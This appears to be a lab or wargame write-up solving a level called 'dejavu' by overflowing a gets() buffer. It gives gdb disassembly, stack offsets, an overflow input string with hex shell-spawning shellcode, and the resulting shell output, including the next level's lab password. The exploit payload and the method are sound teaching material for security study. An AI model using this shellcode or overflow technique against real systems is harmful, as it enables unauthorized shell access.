# 1 The makefile is interesting and I think the professor tried his best to make the program unsafe. Just run gdb and see what happens: ``` invoke -d dejavu break deja_vu run x/24i $pc #- --------------- => 0xb7ffc4ab <deja_vu+6>: sub $0xc,%esp 0xb7ffc4ae <deja_vu+9>: lea -0x10(%ebp),%eax 0xb7ffc4b1 <deja_vu+12>: push %eax 0xb7ffc4b2 <deja_vu+13>: call 0xb7ffc75e <gets> 0xb7ffc4b7 <deja_vu+18>: add $0x10,%esp 0xb7ffc4ba <deja_vu+21>: nop 0xb7ffc4bb <deja_vu+22>: leave 0xb7ffc4bc <deja_vu+23>: ret 0xb7ffc4bd <main>: lea 0x4(%esp),%ecx 0xb7ffc4c1 <main+4>: and $0xfffffff0,%esp 0xb7ffc4c4 <main+7>: pushl -0x4(%ecx) 0xb7ffc4c7 <main+10>: push %ebp 0xb7ffc4c8 <main+11>: mov %esp,%ebp 0xb7ffc4ca <main+13>: push %ecx 0xb7ffc4cb <main+14>: sub $0x4,%esp 0xb7ffc4ce <main+17>: call 0xb7ffc4a5 <deja_vu> 0xb7ffc4d3 <main+22>: mov $0x0,%eax 0xb7ffc4d8 <main+27>: add $0x4,%esp 0xb7ffc4db <main+30>: pop %ecx 0xb7ffc4dc <main+31>: pop %ebp 0xb7ffc4dd <main+32>: lea -0x4(%ecx),%esp 0xb7ffc4e0 <main+35>: ret 0xb7ffc4e1 <dummy>: ret 0xb7ffc4e2 <dummy1>: ret ``` Then we go to the call instruction. ``` break *0xb7ffc4b2 c ``` I saw that eax is 0xbffffab8. The return address should original be 0xb7ffc4d3 (in main), and I can easily find it at 0xbffffacc. So I should put payload at 0xbffffad0 and input `0123456789abcdef0123456789abcdef01234567 + bffffa40 + payload`, where paylaod is `6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a`. After fixing byte sequence problem with python, the input.txt is ready. Now I can see ``` pwnable:~$ ./exploit dumb-shell $ id uid=1002(smith) gid=1001(vsftpd) groups=1001(vsftpd) dumb-shell $ cat README You have to let it all go. Fear, doubt, and disbelief. Free your mind. Next username: smith Next password: 37ZFBrAPm8 ```